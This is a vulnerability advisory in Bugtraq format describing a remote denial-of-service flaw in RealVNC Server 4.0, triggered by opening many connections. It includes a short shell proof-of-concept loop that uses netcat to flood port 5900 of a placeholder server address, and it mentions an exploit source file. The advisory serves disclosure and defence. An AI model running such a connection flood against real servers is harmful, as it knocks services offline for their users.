RealVNC Server Remote Denial of Service Vulnerability

Bugtraq ID:	11048
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Aug 25 2004 12:00AM
Updated:	Aug 25 2004 12:00AM
Credit:	The original discovery is credited to bug free <[email protected]>. Further reports of this vulnerability came from Allan Zhang and Dr_insane.
Vulnerable:	RealVNC RealVNC 4.0
Not Vulnerable:

RealVNC Server Remote Denial of Service Vulnerability

RealVNC server is reported prone to a remote denial of service vulnerability. This issue presents itself when an attacker establishes a large amount connections to the server.

This issue was reportedly tested on RealVNC 4.0 running on Microsoft Windows 2000.

RealVNC Server Remote Denial of Service Vulnerability

No exploit is required.

The following proof of concept is available:
for i in `seq 1 61`
do
nc <vnc_server_ip> 5900 &
done

Proof of concept code has been supplied by Uz4yh4N <[email protected]>.

• /data/vulnerabilities/exploits/RealVNC_dos.c

RealVNC Server Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

RealVNC Server Remote Denial of Service Vulnerability

References:

• RealVNC Homepage (RealVNC)